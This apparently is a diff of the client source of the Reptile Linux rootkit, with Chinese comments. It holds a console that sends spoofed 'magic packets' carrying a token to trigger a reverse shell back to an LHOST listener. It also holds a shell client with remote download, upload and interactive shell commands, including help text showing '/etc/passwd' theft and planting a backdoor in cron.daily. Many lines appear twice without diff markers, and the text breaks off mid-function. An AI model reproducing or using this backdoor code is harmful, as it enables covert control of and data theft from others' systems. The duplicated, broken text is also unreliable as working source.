draw_shadow(stdscr, y, x, height, width); // 绘制对话框阴影
draw_shadow(stdscr, y, x, height, width);
dialog = newwin(height, width, y, x); // 创建对话框窗口
keypad(dialog, TRUE); // 启用键盘输入处理
dialog = newwin(height, width, y, x);
keypad(dialog, TRUE);
draw_box(dialog, 0, 0, height, width,
dlg.dialog.atr, dlg.border.atr); // 绘制对话框边框
wattrset(dialog, dlg.border.atr); // 设置边框属性
mvwaddch(dialog, height - 3, 0, ACS_LTEE); // 添加左下角字符
dlg.dialog.atr, dlg.border.atr);
wattrset(dialog, dlg.border.atr);
mvwaddch(dialog, height - 3, 0, ACS_LTEE);
for (i = 0; i < width - 2; i++)
waddch(dialog, ACS_HLINE); // 添加水平线
wattrset(dialog, dlg.dialog.atr); // 设置对话框属性
waddch(dialog, ACS_RTEE); // 添加右下角字符
waddch(dialog, ACS_HLINE);
wattrset(dialog, dlg.dialog.atr);
waddch(dialog, ACS_RTEE);
print_title(dialog, title, width); // 打印标题
print_title(dialog, title, width);
wattrset(dialog, dlg.dialog.atr); // 设置对话框属性
print_autowrap(dialog, prompt, width - 2, 1, 3); // 打印提示信息
wattrset(dialog, dlg.dialog.atr);
print_autowrap(dialog, prompt, width - 2, 1, 3);
print_buttons(dialog, height, width, 0); // 打印底部按钮
print_buttons(dialog, height, width, 0);
while (key != KEY_ESC) {
key = wgetch(dialog); // 获取用户按键输入
key = wgetch(dialog);
switch (key) {
case 'Y':
case 'y':
delwin(dialog); // 删除对话框窗口
return 0; // 返回0表示 "Yes" 按钮被选中
delwin(dialog);
return 0;
case 'N':
case 'n':
delwin(dialog); // 删除对话框窗口
return 1; // 返回1表示 "No" 按钮被选中
delwin(dialog);
return 1;
case TAB:
case KEY_LEFT:
case KEY_RIGHT:
button = ((key == KEY_LEFT ? --button : ++button) < 0) ? 1 : (button > 1 ? 0 : button);
print_buttons(dialog, height, width, button); // 打印按钮
wrefresh(dialog); // 刷新窗口以显示更改
print_buttons(dialog, height, width, button);
wrefresh(dialog);
break;
case ' ':
case '\n':
delwin(dialog); // 删除对话框窗口
return button; // 返回按钮状态
delwin(dialog);
return button;
case KEY_ESC:
key = on_key_esc(dialog); // 处理 ESC 键
key = on_key_esc(dialog);
break;
case KEY_RESIZE:
delwin(dialog); // 删除对话框窗口
on_key_resize(); // 处理窗口大小变化
goto do_resize; // 重新调整对话框大小
delwin(dialog);
on_key_resize();
goto do_resize;
}
}
delwin(dialog); // 删除对话框窗口
return key; /* ESC pressed */ // 返回 ESC 键
delwin(dialog);
return key; /* ESC pressed */
}

@ -24,16 +24,16 @@
#include "util.h"
pid_t pid;// 声明变量用于存储进程ID、监听器和数据包
char *listener, *packet; //
pid_t pid;
char *listener, *packet;
char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost", // 定义参数名称数组,用于配置工具的参数
char *var_str[] = {"lhost", "lport", "srchost", "srcport", "rhost",
"rport", "prot", "pass", "token"};
char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",// 定义参数名称的大写版本数组,用于匹配用户输入
char *var_str_up[] = {"LHOST", "LPORT", "SRCHOST", "SRCPORT", "RHOST",
"RPORT", "PROT", "PASS", "TOKEN"};
char *description[] = {"Local host to receive the shell",// 定义参数描述数组,用于在帮助信息中解释每个参数的作用
char *description[] = {"Local host to receive the shell",
"Local port to receive the shell",
"Source host on magic packets (spoof)",
"Source port on magic packets (only for TCP/UDP)",
@ -44,7 +44,7 @@ char *description[] = {"Local host to receive the shell",//
"Token to trigger the shell"};
int num_variables = 9; //() { return sizeof(var_str) / sizeof(char *); }
char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL};// 定义参数值数组,用于存储用户设置的参数值
char *var_array[] = {NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL, NULL};
int help(char **args);
int __exit(char **args);
@ -53,17 +53,15 @@ int unset(char **args);
int show(char **args);
int run(char **args);
int export(char **args);
int load(char **args); //客户端操作
int load(char **args);
char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"}; // 定义内置命令数组和对应的函数指针数组
char *builtin_str[] = {"help", "set", "unset", "show", "run", "export", "load", "exit"};
int (*builtin_func[])(char **) = {&help, &set, &unset, &show, &run, &export, &load, &__exit};
int num_builtins()
// 定义函数返回内置命令的数量
{ return sizeof(builtin_str) / sizeof(char *); }
int launch(char **args)
// 定义函数用于启动外部程序
{
pid_t pid;
int status;
@ -85,31 +83,30 @@ int launch(char **args)
return 1;
}
void help_set() //help解释其他命令
void help_set()
{
fprintf(stdout, "%s <variable> <value>\n", builtin_str[1]);
fprintf(stdout, "Example: set LHOST 192.168.0.2\n");
}
void help_unset()
// 定义帮助函数用于解释如何使用set命令
{
fprintf(stdout, "%s <variable>\n", builtin_str[2]);
fprintf(stdout, "Example: unset RHOST\n");
}
void help_conf(int i)// 定义帮助函数,用于解释如何使用配置文件相关的命令
void help_conf(int i)
{
fprintf(stdout, "%s <file>\n", builtin_str[i]);
fprintf(stdout, "Example: %s client.conf\n", builtin_str[i]);
}
void no_help()// 定义函数,当命令不需要帮助信息时调用
void no_help()
{
fprintf(stdout, "This command doesn't need help\n");
}
int help(char **args)// 定义help函数用于显示帮助信息
int help(char **args)
{
if (args[0] == NULL)
return 1;
@ -152,7 +149,7 @@ int help(char **args)//
return 1;
}
int __exit(char **args)// 定义__exit函数用于退出程序并释放资源
int __exit(char **args)
{
int i;
@ -176,7 +173,7 @@ int __exit(char **args)//
return 0;
}
int set(char **args)// 定义set函数用于设置参数值
int set(char **args)
{
int i;
@ -205,25 +202,21 @@ int set(char **args)//
return 1;
}
// unset函数用于取消设置某个参数的值
int unset(char** args) {
int unset(char **args)
{
int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 如果没有提供要取消设置的参数名打印错误信息并返回错误代码1
if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad);
return 1;
}
// 遍历所有参数,查找是否匹配用户提供的参数名
for (i = 0; i < num_variables; i++) {
if (strcmp(args[1], var_str[i]) == 0 ||
strcmp(args[1], var_str_up[i]) == 0) {
// 如果找到匹配的参数名释放之前存储的值并将其设置为NULL
if (var_array[i])
free(var_array[i]);
@ -233,73 +226,105 @@ int unset(char** args) {
}
}
// 如果没有找到匹配的参数名,打印错误信息
fprintf(stdout, "%s wrong parameter!\n", bad);
return 1;
}
// show函数用于显示当前所有参数的值和描述
int show(char** args) {
int show(char **args)
{
int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 打印表头
fprintf(stdout, "\n");
fprintf(stdout, "\e[00;33mVAR\t\tVALUE\t\t\tDESCRIPTION\e[00m\n\n");
// 遍历所有参数,打印其值和描述
for (i = 0; i < num_variables; i++) {
if (var_array[i]) {
// 根据值的长度,调整输出格式,以保持对齐
if (strlen(var_array[i]) >= 8) {
fprintf(stdout, "%s\t\t%s\t\t%s\n",
var_str_up[i], var_array[i], description[i]);
}
else if (strlen(var_array[i]) >= 16) {
var_str_up[i], var_array[i],
description[i]);
} else if (strlen(var_array[i]) >= 16) {
fprintf(stdout, "%s\t\t%s\t%s\n", var_str_up[i],
var_array[i], description[i]);
}
else {
} else {
fprintf(stdout, "%s\t\t%s\t\t\t%s\n",
var_str_up[i], var_array[i], description[i]);
}
var_str_up[i], var_array[i],
description[i]);
}
else {
// 如果参数没有被设置,打印空值
} else {
fprintf(stdout, "%s\t\t \t\t\t%s\n", var_str_up[i],
description[i]);
}
}
// 打印换行符
fprintf(stdout, "\n");
return 1;
}
// interrupt函数用于处理程序接收到中断信号时的行为
void interrupt(int signal) {
// 打印中断信息
void interrupt(int signal)
{
fprintf(stdout, "\r");
fflush(stdout);
fprintf(stdout, "%s Interrupted: %d\n", warn, signal);
}
// run函数用于运行配置好的工具
int run(char** args) {
int run(char **args)
{
pid_t pid, pid2;
int status;
//char *envp[1] = {NULL};
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 检查必要的参数是否已经被设置
// ...
if (!var_array[0]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[0]);
return 1;
}
if (!var_array[1]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[1]);
return 1;
}
if (!var_array[2]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[2]);
return 1;
}
if (!var_array[4]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[4]);
return 1;
}
if (!var_array[6]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[6]);
return 1;
}
if (!var_array[8]) {
fprintf(stdout, "%s %s is not defined!\n", bad, var_str_up[8]);
return 1;
}
if (!(strcmp(var_array[6], "icmp") == 0 ||
strcmp(var_array[6], "ICMP") == 0)) {
if (!var_array[3]) {
fprintf(stdout, "%s %s is not defined!\n", bad,
var_str_up[3]);
return 1;
}
if (!var_array[5]) {
fprintf(stdout, "%s %s is not defined!\n", bad,
var_str_up[5]);
return 1;
}
}
// 构建用于启动监听器和数据包发送器的参数数组
char *arg_listener[] = {listener, "-p", var_array[1], "-s",
var_array[7], NULL, NULL};
@ -309,14 +334,11 @@ int run(char** args) {
var_array[8], "-q", var_array[3], "-r",
var_array[5], NULL, NULL};
// 创建子进程
pid = fork();
// 如果fork失败打印错误信息并退出
if (pid == -1)
fatal("on forking proccess");
// 父进程等待子进程结束
if (pid > 0) {
signal(SIGTERM, interrupt);
signal(SIGINT, interrupt);
@ -326,18 +348,13 @@ int run(char** args) {
} while (!WIFEXITED(status) && !WIFSIGNALED(status));
}
// 子进程执行具体的启动逻辑
if (pid == 0) {
// 创建另一个子进程
pid2 = fork();
// 如果fork失败打印错误信息并退出
if (pid2 == -1)
fatal("on forking proccess");
// 第二个子进程启动监听器
if (pid2 > 0) {
// 根据配置决定是否传递某些参数
if (var_array[7] == NULL) {
arg_listener[3] = NULL;
arg_listener[4] = NULL;
@ -346,9 +363,7 @@ int run(char** args) {
fprintf(stderr, "%s listener could not be launched\n", bad);
}
// 第三个子进程发送数据包
if (pid2 == 0) {
// 根据协议类型调整参数
if (strcmp(var_array[6], "icmp") == 0 ||
strcmp(var_array[6], "ICMP") == 0) {
arg_packet[13] = NULL;
@ -368,59 +383,57 @@ int run(char** args) {
return 1;
}
// export函数用于将当前配置导出到文件
int export(char** args) {
/*
* Thanks aliyuchang33 for suggesting this! ;)
*
* https://github.com/f0rb1dd3n/Reptile/pull/61/commits/0482eeff93c5b3f9097f7e06e2b2a0fcf248eb8e
*
*/
int export(char **args)
{
int vars;
FILE *confile;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 如果没有提供文件名打印错误信息并返回错误代码1
if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad);
return 1;
}
// 尝试打开文件如果失败打印错误信息并返回错误代码1
if (!(confile = fopen(args[1], "w+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad);
return 1;
}
// 将所有参数的值写入文件
for (vars = 0; vars < 9; vars++)
fprintf(confile, "%s\n", var_array[vars]);
// 关闭文件并打印成功信息
fclose(confile);
fprintf(stdout, "%s Configuration exported\n", good);
return 1;
}
// load函数用于从文件加载配置
int load(char** args) {
int load(char **args)
{
int vars;
FILE *confile;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 如果没有提供文件名打印错误信息并返回错误代码1
if (args[1] == NULL) {
fprintf(stdout, "%s wrong syntax!\n", bad);
return 1;
}
// 尝试打开文件如果失败打印错误信息并返回错误代码1
if (!(confile = fopen(args[1], "r+"))) {
fprintf(stderr, "%s Cannot open config file\n", bad);
return 1;
}
// 从文件中读取参数值并存储到var_array中
for (vars = 0; vars < 9; vars++) {
char arg[50] = {0};
fgets(arg, 50, confile);
@ -431,61 +444,52 @@ int load(char** args) {
}
}
// 关闭文件并打印成功信息
fclose(confile);
fprintf(stdout, "%s Configuration loaded\n", good);
return 1;
}
// execute函数用于执行内置命令或启动外部程序
int execute(char** args) {
int execute(char **args)
{
int i;
// 如果没有提供参数返回错误代码1
if (args[0] == NULL)
return 1;
// 遍历所有内置命令,查找匹配的命令并执行
for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_str[i]) == 0)
return (*builtin_func[i])(args);
}
// 如果没有找到匹配的内置命令,尝试启动外部程序
return launch(args);
}
// read_line函数用于读取用户输入的一行命令
char* read_line(void) {
char *read_line(void)
{
int bufsize = RL_BUFSIZE;
int position = 0;
char *buffer = malloc(sizeof(char) * bufsize);
int c;
// 如果内存分配失败,打印错误信息并退出
if (!buffer) {
fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE);
}
// 循环读取用户输入,直到换行符
while (1) {
c = getchar();
if (c == EOF) {
free(buffer);
exit(EXIT_SUCCESS);
}
else if (c == '\n') {
} else if (c == '\n') {
buffer[position] = '\0';
return buffer;
}
else {
} else {
buffer[position] = c;
}
position++;
// 如果超出缓冲区大小,扩大缓冲区
if (position >= bufsize) {
bufsize += RL_BUFSIZE;
char *buffer_backup = buffer;
@ -498,25 +502,22 @@ char* read_line(void) {
}
}
// parse函数用于解析用户输入的命令行将其分割为参数数组
char** parse(char* line) {
char **parse(char *line)
{
int bufsize = TOK_BUFSIZE, position = 0;
char **tokens = malloc(bufsize * sizeof(char *));
char *token, **tokens_backup;
// 如果内存分配失败,打印错误信息并退出
if (!tokens) {
fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE);
}
// 使用strtok函数分割命令行
token = strtok(line, TOK_DELIM);
while (token != NULL) {
tokens[position] = token;
position++;
// 如果超出缓冲区大小,扩大缓冲区
if (position >= bufsize) {
bufsize += TOK_BUFSIZE;
tokens_backup = tokens;
@ -534,13 +535,12 @@ char** parse(char* line) {
return tokens;
}
// client_loop函数用于进入命令行循环等待用户输入命令
void client_loop() {
void client_loop()
{
char *line;
char **args;
int status;
// 循环等待用户输入命令
do {
line = readline("\e[00;31mreptile-client> \e[00m");
add_history(line);
@ -555,24 +555,21 @@ void client_loop() {
clear_history();
}
// main函数是程序的入口点
int main() {
int main()
{
int len;
char *pwd = get_current_dir_name();
// 清屏并打印欢迎信息
system("clear");
printf("\n\e[01;36mReptile Client\e[00m\n");
printf("\e[01;32mWritten by: F0rb1dd3n\e[00m\n");
banner2();
printf("\n");
// 获取当前工作目录,并为监听器和数据包程序分配内存
len = strlen(pwd);
listener = (char *)malloc(len + 10);
// 如果内存分配失败,打印错误信息并退出
if (!listener)
fatal("malloc");
@ -583,7 +580,6 @@ int main() {
fatal("malloc");
}
// 初始化监听器和数据包程序的路径
bzero(listener, len + 10);
bzero(packet, len + 8);
@ -593,22 +589,16 @@ int main() {
strcpy(packet, pwd);
strcat(packet, "/packet");
// 创建子进程
pid = fork();
// 如果fork失败打印错误信息并退出
if (pid == -1)
fatal("on forking proccess");
// 父进程进入命令行循环
if (pid > 0)
client_loop();
// 子进程执行后台任务(这部分代码被注释掉了)
// if (pid == 0)
// background job
return EXIT_SUCCESS;
}
//客服端实现写了一个简易shell包含了一些内置功能的实现("help", "set", "unset", "show", "run", "export", "load", "exit")
//help打印其他命令使用方法
//exit退出
//set设置变量值需要两个参数参数一为各参数类型("lhost", "lport", "srchost", "srcport", "rhost", "rport", "prot", "pass", "token", 不区分大小写)参数二为该参数的值其值存储在var_array中

@ -23,114 +23,105 @@
#include "pel.h"
#include "util.h"
// 全局变量定义
extern char* optarg; // 获取命令行参数的值
unsigned char message[BUFSIZE + 1]; // 定义一个缓冲区,用于存储发送和接收的消息
char* password = NULL; // 定义一个全局变量,用于存储连接密码
int sockfd; // 定义一个全局变量,用于存储套接字文件描述符
pid_t pid; // 定义一个全局变量用于存储进程ID
// 函数原型声明
int help(int sock, char** args); // 提供帮助信息的函数
int __exit(int sock, char** args); // 退出函数,用于关闭连接
int shell(int sock, char** args); // 打开一个交互式shell的函数
int get_file(int sock, char** args); // 从远程主机下载文件的函数
int put_file(int sock, char** args); // 向远程主机上传文件的函数
int delay(int sock, char** args); // 设置反向shell连接间隔的函数
// 内置命令字符串数组,用于映射命令名称到其对应的函数
extern char *optarg;
unsigned char message[BUFSIZE + 1];
char *password = NULL;
int sockfd;
pid_t pid;
int help(int sock, char **args);
int __exit(int sock, char **args);
int shell(int sock, char **args);
int get_file(int sock, char **args);
int put_file(int sock, char **args);
int delay(int sock, char **args);
char *builtin_str[] = {"help", "download", "upload", "shell", "delay", "exit"};
// 内置命令对应的函数指针数组,用于根据命令名称调用对应的函数
int (*builtin_func[])(int sock, char**) = { &help, &get_file, &put_file, &shell, &delay, &__exit };
int (*builtin_func[])(int sock, char **) = {&help, &get_file, &put_file,
&shell, &delay, &__exit};
// 返回内置命令的数量
int num_builtins() {
return sizeof(builtin_str) / sizeof(char*);
}
int num_builtins() { return sizeof(builtin_str) / sizeof(char *); }
// 错误处理函数,根据错误代码打印相应的错误信息
void pel_error(char* s) {
void pel_error(char *s)
{
switch (pel_errno) {
case PEL_CONN_CLOSED:
fprintf(stderr, "%s %s: Connection closed.\n", bad, s);
break;
case PEL_SYSTEM_ERROR:
p_error(s);
break;
case PEL_WRONG_CHALLENGE:
fprintf(stderr, "%s %s: Wrong challenge.\n", bad, s);
break;
case PEL_BAD_MSG_LENGTH:
fprintf(stderr, "%s %s: Bad message length.\n", bad, s);
break;
case PEL_CORRUPTED_DATA:
fprintf(stderr, "%s %s: Corrupted data.\n", bad, s);
break;
case PEL_UNDEFINED_ERROR:
fprintf(stderr, "%s %s: No error.\n", bad, s);
break;
default:
fprintf(stderr, "%s %s: Unknown error code.\n", bad, s);
break;
}
}
// 为下载命令提供帮助信息的函数
void help_download() {
void help_download()
{
fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[1]);
fprintf(stdout, "Example: download /etc/passwd /tmp\n");
}
// 为上传命令提供帮助信息的函数
void help_upload() {
void help_upload()
{
fprintf(stdout, "%s <file path> <dest dir>\n", builtin_str[2]);
fprintf(stdout, "Example: upload /root/backdoor /etc/cron.daily\n");
}
// 为延迟命令提供帮助信息的函数
void help_delay() {
void help_delay()
{
fprintf(stdout, "%s <seconds>\n", builtin_str[4]);
fprintf(stdout, "Example: delay 3600\n\n");
fprintf(stdout, "%s Use \"delay 0\" if you don't want a connection every X time\n", warn);
fprintf(stdout, "%s Use \"delay 0\" if you don't wanna a "
"connecion every X time\n", warn);
}
// 当命令不需要帮助信息时调用的函数
void no_help() {
void no_help()
{
fprintf(stdout, "This command doesn't need help\n");
}
// 提供帮助信息的函数
int help(int sock, char** args) {
// 如果没有提供子命令或者sock为-1则返回错误代码1
int help(int sock, char **args)
{
if (args[0] == NULL && sock == -1)
return 1;
// 如果提供了子命令,则根据子命令提供具体的帮助信息
if (args[1] != NULL) {
if (strcmp(args[1], builtin_str[0]) == 0) {
no_help();
}
else if (strcmp(args[1], builtin_str[1]) == 0) {
} else if (strcmp(args[1], builtin_str[1]) == 0) {
help_download();
}
else if (strcmp(args[1], builtin_str[2]) == 0) {
} else if (strcmp(args[1], builtin_str[2]) == 0) {
help_upload();
}
else if (strcmp(args[1], builtin_str[3]) == 0) {
} else if (strcmp(args[1], builtin_str[3]) == 0) {
no_help();
}
else if (strcmp(args[1], builtin_str[4]) == 0) {
} else if (strcmp(args[1], builtin_str[4]) == 0) {
help_delay();
}
else if (strcmp(args[1], builtin_str[5]) == 0) {
} else if (strcmp(args[1], builtin_str[5]) == 0) {
no_help();
}
else {
} else {
fprintf(stdout, "This command is not valid!\n");
}
}
else {
// 如果没有提供子命令,则打印所有命令的帮助信息
} else {
fprintf(stdout, "\n\e[01;36mReptile Shell\e[00m\n");
fprintf(stdout, "\e[01;32mWritten by: F0rb1dd3n\e[00m\n\n");
fprintf(stdout, "\t%s\t\tShow this help\n", builtin_str[0]);
@ -146,91 +137,89 @@ int help(int sock, char** args) {
return 1;
}
// 退出函数,用于关闭连接
int __exit(int sock, char** args) {
// 如果没有提供参数或者sock为-1则返回错误代码1
int __exit(int sock, char **args)
{
if (args[0] == NULL && sock == -1)
return 1;
// 发送退出消息给远程主机
pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN);
fprintf(stdout, "\n");
return 0;
}
// 打开一个交互式shell的函数
int shell(int sock, char** args) {
// 定义文件描述符集合用于select函数
int shell(int sock, char **args)
{
fd_set rd;
// 定义终端类型和窗口大小等变量
char *term, *temp;
int ret, len, imf, i, size;
struct winsize ws;
struct termios tp, tr;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL && sock == -1)
return 1;
// 获取终端类型
term = getenv("TERM");
if (term == NULL)
term = "vt100";
// 发送终端类型到远程主机
len = strlen(term);
ret = pel_send_msg(sock, (unsigned char *)term, len);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
// 如果标准输入是终端设置imf为1
imf = 0;
if (isatty(0)) {
imf = 1;
// 获取窗口大小
if (ioctl(0, TIOCGWINSZ, &ws) < 0) {
p_error("ioctl(TIOCGWINSZ)");
return 1;
}
}
else {
} else {
ws.ws_row = 25;
ws.ws_col = 80;
}
// 发送窗口大小到远程主机
message[0] = (ws.ws_row >> 8) & 0xFF;
message[1] = (ws.ws_row) & 0xFF;
message[2] = (ws.ws_col >> 8) & 0xFF;
message[3] = (ws.ws_col) & 0xFF;
ret = pel_send_msg(sock, message, 4);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
// 如果命令是shell则发送shell命令到远程主机
if (strcmp(args[0], builtin_str[3]) == 0) {
temp = (char *)malloc(2);
if (!temp) {
p_error("malloc");
return 1;
}
temp[0] = RUNSHELL;
temp[1] = '\0';
fprintf(stdout, "\n");
}
else {
// 如果命令不是shell则发送用户输入的命令到远程主机
} else {
size = 1;
len = 0;
temp = (char *)malloc(size);
if (!temp) {
p_error("malloc");
return 1;
}
while (args[len] != NULL) {
size++;
size += strlen(args[len]);
@ -242,334 +231,387 @@ int shell(int sock, char** args) {
}
len++;
}
memset(temp, '\0', size);
for (i = 0; i < len; i++) {
strcat(temp, args[i]);
strcat(temp, " ");
}
}
len = strlen(temp);
ret = pel_send_msg(sock, (unsigned char *)temp, len);
free(temp);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
// 设置终端属性,用于非规范模式下的输入输出
if (isatty(1)) {
if (tcgetattr(1, &tp) < 0) {
p_error("tcgetattr");
return 1;
}
memcpy((void *)&tr, (void *)&tp, sizeof(tr));
tr.c_iflag |= IGNPAR;
tr.c_iflag &=
~(ISTRIP | INLCR | IGNCR | ICRNL | IXON | IXANY | IXOFF);
tr.c_lflag &=
~(ISIG | ICANON | ECHO | ECHOE | ECHOK | ECHONL | IEXTEN);
tr.c_oflag &= ~OPOST;
tr.c_cc[VMIN] = 1;
tr.c_cc[VTIME] = 0;
if (tcsetattr(1, TCSADRAIN, &tr) < 0) {
p_error("tcsetattr");
return 1;
}
}
// 进入一个循环,处理输入输出
while (1) {
FD_ZERO(&rd);
if (imf != 0)
FD_SET(0, &rd);
FD_SET(sock, &rd);
if (select(sock + 1, &rd, NULL, NULL, NULL) < 0) {
p_error("select");
break;
}
if (FD_ISSET(sock, &rd)) {
ret = pel_recv_msg(sock, message, &len);
if (ret != PEL_SUCCESS) {
pel_error("pel_recv_msg");
break;
}
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0) {
if (isatty(1))
tcsetattr(1, TCSADRAIN, &tp);
fprintf(stdout, "\n");
return 1;
}
if (write(1, message, len) != len) {
p_error("write");
break;
}
}
if (imf != 0 && FD_ISSET(0, &rd)) {
if ((len = read(0, message, BUFSIZE)) < 0) {
p_error("read");
break;
}
if (len == 0) {
fprintf(stderr, "stdin: end-of-file\n");
break;
}
ret = pel_send_msg(sock, message, len);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
break;
}
}
}
if (isatty(1))
tcsetattr(1, TCSADRAIN, &tp);
return 1;
}
// 从远程主机下载文件的函数
int get_file(int sock, char** args) {
int get_file(int sock, char **args)
{
char *temp, *pathname;
int ret, len, fd, total;
unsigned char out = OUT;
// 如果没有提供足够的参数或者sock为-1则返回错误代码1
if (args[1] == NULL || args[2] == NULL) {
fprintf(stderr, "%s wrong arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg");
return 1;
}
// 发送文件路径到远程主机
len = strlen(args[1]);
ret = pel_send_msg(sock, (unsigned char *)args[1], len);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
// 构建保存文件的路径
temp = strrchr(args[1], '/');
if (temp != NULL)
temp++;
if (temp == NULL)
temp = args[1];
len = strlen(args[2]);
pathname = (char *)malloc(len + strlen(temp) + 2);
if (pathname == NULL) {
p_error("malloc");
return 1;
}
strcpy(pathname, args[2]);
strcpy(pathname + len, "/");
strcpy(pathname + len + 1, temp);
// 创建文件
fd = creat(pathname, 0644);
if (fd < 0) {
p_error("creat");
free(pathname);
return 1;
}
free(pathname);
// 接收文件数据并保存
total = 0;
while (1) {
ret = pel_recv_msg(sock, message, &len);
if (ret != PEL_SUCCESS) {
pel_error("pel_recv_msg");
fprintf(stderr, "%s Transfer failed.\n", bad);
return 1;
}
if (strncmp((char *)message, EXIT, EXIT_LEN) == 0 && total > 0)
break;
if (write(fd, message, len) != len) {
p_error("write");
return 1;
}
total += len;
fprintf(stdout, "%d\r", total);
fflush(stdout);
}
fprintf(stdout, "%s %d done.\n\n", good, total);
return 1;
}
// 向远程主机上传文件的函数
int put_file(int sock, char** args) {
int put_file(int sock, char **args)
{
char *temp, *pathname;
int ret, len, fd, total;
unsigned char out = OUT;
// 如果没有提供足够的参数或者sock为-1则返回错误代码1
if (args[1] == NULL || args[2] == NULL) {
fprintf(stderr, "%s wrong arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg");
return 1;
}
// 构建文件路径
temp = strrchr(args[1], '/');
if (temp != NULL)
temp++;
if (temp == NULL)
temp = args[1];
len = strlen(args[2]);
pathname = (char *)malloc(len + strlen(temp) + 2);
if (pathname == NULL) {
p_error("malloc");
return 1;
}
strcpy(pathname, args[2]);
strcpy(pathname + len, "/");
strcpy(pathname + len + 1, temp);
// 发送文件路径到远程主机
len = strlen(pathname);
ret = pel_send_msg(sock, (unsigned char *)pathname, len);
free(pathname);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
// 打开文件并发送文件数据
fd = open(args[1], O_RDONLY);
if (fd < 0) {
p_error("open");
return 1;
}
total = 0;
while (1) {
len = read(fd, message, BUFSIZE);
if (len < 0) {
p_error("read");
return 1;
}
if (len == 0) {
break;
}
ret = pel_send_msg(sock, message, len);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
fprintf(stderr, "%s Transfer failed.\n", bad);
return 1;
}
total += len;
printf("%s %d\r", good, total);
fflush(stdout);
}
// 发送结束信号
pel_send_msg(sock, (unsigned char *)EXIT, EXIT_LEN);
printf("%s %d done.\n\n", good, total);
return 1;
}
// 设置反向shell连接间隔的函数
int delay(int sock, char** args) {
int delay(int sock, char **args)
{
int ret, flag;
unsigned int i, j;
char *numbers = "0123456789";
unsigned char out = OUT;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[1] == NULL) {
fprintf(stderr, "%s no arguments\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg");
return 1;
}
// 检查参数是否为数字
for (i = 0; i < strlen(args[1]); i++) {
flag = 0;
for (j = 0; j < strlen(numbers); j++) {
if (args[1][i] == numbers[j])
flag = 1;
}
if (flag == 0) {
fprintf(stderr, "%s wrong argument\n\n", bad);
if (pel_send_msg(sock, &out, 1) != PEL_SUCCESS)
pel_error("pel_send_msg");
return 1;
}
}
// 发送延迟时间设置到远程主机
ret = pel_send_msg(sock, (unsigned char *)args[1], strlen(args[1]));
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
fprintf(stdout, "%s delay -> %s\n\n", good, args[1]);
return 1;
}
// 执行命令的函数
int execute(int sock, char** args) {
int execute(int sock, char **args)
{
int i, ret;
// 如果没有提供参数或者sock为-1则返回错误代码1
if (args[0] == NULL || sock == -1)
return 1;
// 查找并执行内置命令
for (i = 0; i < num_builtins(); i++) {
if (strcmp(args[0], builtin_str[i]) == 0) {
if (i == 0) {
return (*builtin_func[i])(sock, args);
}
else {
ret = pel_send_msg(sock, (unsigned char*)&i, 1);
} else {
ret =
pel_send_msg(sock, (unsigned char *)&i, 1);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
return (*builtin_func[i])(sock, args);
}
}
}
// 如果不是内置命令发送shell命令
i = 3;
ret = pel_send_msg(sock, (unsigned char *)&i, 1);
if (ret != PEL_SUCCESS) {
pel_error("pel_send_msg");
return 1;
}
return (*builtin_func[3])(sock, args);
}
// 读取一行输入的函数
char* read_line(void) {
char *read_line(void)
{
int bufsize = RL_BUFSIZE;
int position = 0;
char *buffer = malloc(sizeof(char) * bufsize);
int c;
// 如果内存分配失败,打印错误信息并退出
if (!buffer) {
fprintf(stderr, "reptile: allocation error\n");
exit(EXIT_FAILURE);
}
// 循环读取用户输入,直到换行符
while (1) {
c = getchar();
if (c == EOF) {
free(buffer);
exit(EXIT_SUCCESS);
}
else if (c == '\n') {
} else if (c == '\n') {
buffer[position] = '\0';
return buffer;
}
else {
} else {
buffer[position] = c;
}
position++;
if (position >= bufsize) {
bufsize += RL_BUFSIZE;
char *buffer_backup = buffer;
@ -582,23 +624,22 @@ char* read_line(void) {
}
}
// 解析输入行的函数
char** parse(char* line) {
char **parse(char *line)
{
int bufsize = TOK_BUFSIZE, position = 0;
